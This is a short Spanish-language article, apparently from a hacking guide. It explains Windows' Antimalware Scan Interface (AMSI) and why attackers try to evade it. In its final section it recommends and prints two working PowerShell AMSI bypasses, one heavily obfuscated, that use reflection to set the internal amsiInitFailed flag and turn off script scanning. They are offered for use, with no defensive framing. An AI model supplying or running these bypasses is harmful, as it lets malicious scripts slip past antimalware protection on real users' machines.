AMSI para Hackers

AMSI (Antimalware Scan Interface) es una interfaz estándar que permite que las soluciones antimalware de Windows escaneen contenido en busca de comportamientos maliciosos. Fue introducido por Microsoft con Windows 10. AMSI se utiliza en conjunción con otros componentes de seguridad en Windows, como Windows Defender, para proporcionar una capa adicional de seguridad.

En términos simples, AMSI permite que las aplicaciones y servicios envíen contenido a un motor antimalware para ser escaneado antes de que se ejecute. Esto es especialmente útil para analizar contenido que se ejecuta en tiempo real, como scripts. Por lo tanto, AMSI puede escanear scripts en lenguajes como PowerShell, VBScript, Ruby, y más, incluso si están ofuscados.

¿Por qué los ciberdelincuentes quieren evadir AMSI?

  1. Detección en Tiempo Real: AMSI tiene la capacidad de escanear y detectar malware en tiempo real, incluso antes de que el código malicioso se ejecute. Para que un ataque sea exitoso, especialmente si involucra scripts ofuscados o técnicas en memoria, el atacante necesita evadir esta capa de detección.

  2. Análisis de Scripts Ofuscados: A menudo, los atacantes ofuscan sus scripts para evitar ser detectados por soluciones antimalware tradicionales. AMSI es efectivo en el análisis de contenido ofuscado, ya que examina el script justo antes de su ejecución, es decir, después de que ha sido desofuscado y está en su forma original.

  3. Extensa Integración: AMSI no está limitado solo a scripts. También puede ser utilizado por otras aplicaciones y servicios para escanear contenido arbitrario. Por lo tanto, cualquier comportamiento o técnica maliciosa que pueda ser detectada por un motor antimalware que utilice AMSI representa un punto de bloqueo para los atacantes.

Dada la eficacia de AMSI, no es sorprendente que los ciberdelincuentes busquen maneras de evadirlo. Algunas técnicas utilizadas para evadir AMSI incluyen:

  • Cargar una versión anterior de una biblioteca: Algunos ataques pueden intentar cargar una versión anterior de una DLL (Dynamic Link Library) que no es compatible con AMSI para desactivar su funcionalidad.

  • Modificar la memoria: Algunos malwares intentan modificar directamente áreas de memoria relacionadas con AMSI para desactivar su funcionalidad.

  • Ofuscación avanzada: Aunque AMSI puede manejar muchas formas de ofuscación, los atacantes están constantemente ideando nuevos métodos para intentar evitar la detección.

  • Abusar de la confianza en aplicaciones legítimas: Usar técnicas como "Living off the Land" (viviendo del sistema) para ejecutar acciones maliciosas con herramientas legítimas que no están siendo escaneadas o que tienen una mayor confianza.

Te recomendamos la siguiente herramienta:

O tambien utilizar el siguiente Bypass ANSI:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

O tambien esta alternativa:

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$me = $field.GetValue($field)
$me = $field.SetValue($null, [Boolean]"hhfff")

Última actualización